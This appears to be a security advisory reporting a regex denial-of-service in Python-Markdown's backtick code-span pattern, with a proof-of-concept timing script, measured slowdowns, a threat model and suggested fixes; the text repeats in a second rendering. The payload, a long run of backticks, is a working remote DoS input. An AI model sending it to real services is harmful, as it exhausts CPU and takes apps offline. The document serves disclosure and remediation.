Python-Markdown — backtick code-span ReDoS
Package markdown / Python-Markdown 3.10.3 (PyPI, latest) · CWE-1333 / 400 · CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) · Prior CVEs none for this (distinct from CVE-2025-69534, an HTMLParser AssertionError fixed in 3.8.1)
Abstract
Python-Markdown matches inline code spans with one regex, markdown.inlinepatterns.BACKTICK_RE, that uses a back-reference for the closing run of backticks:
BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)(`+)(.+?)(?<!`)\2(?!`))'
On a run of unmatched backticks the second alternative (a backtick-run capture, a lazy .+?, then the \2 back-reference) back-tracks catastrophically — Python's re cannot use a DFA with a back-reference. Parse time grows ≈ O(n³): ~1 KB → 2.7 s, ~1.5 KB → 9 s, ~2 KB → >12 s. markdown.markdown() is synchronous and CPU-bound, so one small unauthenticated request pins the worker → remote DoS for any app that renders untrusted Markdown.
PoC
pip install "markdown==3.10.3"
python3 poc/markdown_backtick_redos_poc.py
import re
import signal
import time
import markdown
from markdown.inlinepatterns import BACKTICK_RE
class _Timeout(Exception):
pass
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(_Timeout()))
def timed(fn, s, cap=12.0):
signal.setitimer(signal.ITIMER_REAL, cap)
t0 = time.perf_counter()
try:
fn(s)
dt = time.perf_counter() - t0
signal.setitimer(signal.ITIMER_REAL, 0)
return dt, False
except _Timeout:
return cap, True
def main():
print(f"Python-Markdown {markdown.__version__}")
print(f"BACKTICK_RE = {BACKTICK_RE!r}\n")
print(f" {'n (=bytes)':>12} {'time':>10} ratio(2x)")
prev = None
for n in [250, 500, 1000, 1500, 2000]:
dt, to = timed(markdown.markdown, "`" * n)
r = (dt / prev) if prev else 0.0
print(f" {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10} {r:5.2f}")
prev = dt
if to:
break
rx = re.compile(BACKTICK_RE)
print(f" {'n':>12} {'time':>10} ratio(2x)")
prev = None
for n in [250, 500, 1000, 2000]:
dt, to = timed(rx.search, "`" * n)
r = (dt / prev) if prev else 0.0
print(f" {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10} {r:5.2f}")
prev = dt
if to:
break
if __name__ == "__main__":
main()
Output (Python-Markdown 3.10.3), input = a string of n backtick characters:
(1) markdown.markdown(): n=1000 → 2.7 s, n=1500 → 9.2 s, n=2000 → TIMEOUT>12s
(2) isolated re.search(BACKTICK_RE): identical blow-up (~8× per doubling ≈ cubic)
Part (2) shows the isolated regex reproduces the blow-up exactly — the regex itself is the cause.
Threat Model
- Attacker: submits Markdown text that the app renders — the intended input of any Markdown feature (comments, posts, bios, wiki/doc pages, chat, PR/issue bodies, LLM output rendered as Markdown). Commonly unauthenticated; the payload (a run of backticks) is trivial and passes any "looks like text" check.
- No precondition to disclaim: rendering untrusted Markdown is the documented purpose.
Impact
- Remote, unauthenticated CPU-exhaustion DoS: ~2 KB → ~12 s of single-core CPU; cubic growth means a few KB reaches minutes; concurrent requests saturate all workers → outage.
- Synchronous parsing blocks the worker / event-loop thread for the whole duration.
- Broad blast radius: Python-Markdown is one of the most widely deployed Markdown engines (MkDocs, many Django/Flask apps, static-site generators, documentation & CI pipelines, LLM/chat front-ends).
Suggested fix
- Replace the regex with a linear CommonMark-style code-span scanner (as
markdown-it-py, which is linear on these inputs): find an opening run of k backticks, then locate the next run of exactly k backticks with ordinary string operations — no backtracking, no back-reference.
- If a regex must be kept: drop the back-reference and the
.+? between two variable-length backtick runs; bound the backtick-run length; and/or cap input size.
- Regression test: a 5000-backtick input must parse in well under a second.
Python-Markdown — backtick code-span ReDoS
Package
markdown/ Python-Markdown 3.10.3 (PyPI, latest) · CWE-1333 / 400 · CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) · Prior CVEs none for this (distinct from CVE-2025-69534, an HTMLParserAssertionErrorfixed in 3.8.1)Abstract
Python-Markdown matches inline code spans with one regex,
markdown.inlinepatterns.BACKTICK_RE, that uses a back-reference for the closing run of backticks:On a run of unmatched backticks the second alternative (a backtick-run capture, a lazy
.+?, then the\2back-reference) back-tracks catastrophically — Python'srecannot use a DFA with a back-reference. Parse time grows ≈ O(n³): ~1 KB → 2.7 s, ~1.5 KB → 9 s, ~2 KB → >12 s.markdown.markdown()is synchronous and CPU-bound, so one small unauthenticated request pins the worker → remote DoS for any app that renders untrusted Markdown.PoC
pip install "markdown==3.10.3" python3 poc/markdown_backtick_redos_poc.pyOutput (Python-Markdown 3.10.3), input = a string of n backtick characters:
Part (2) shows the isolated regex reproduces the blow-up exactly — the regex itself is the cause.
Threat Model
Impact
Suggested fix
markdown-it-py, which is linear on these inputs): find an opening run of k backticks, then locate the next run of exactly k backticks with ordinary string operations — no backtracking, no back-reference..+?between two variable-length backtick runs; bound the backtick-run length; and/or cap input size.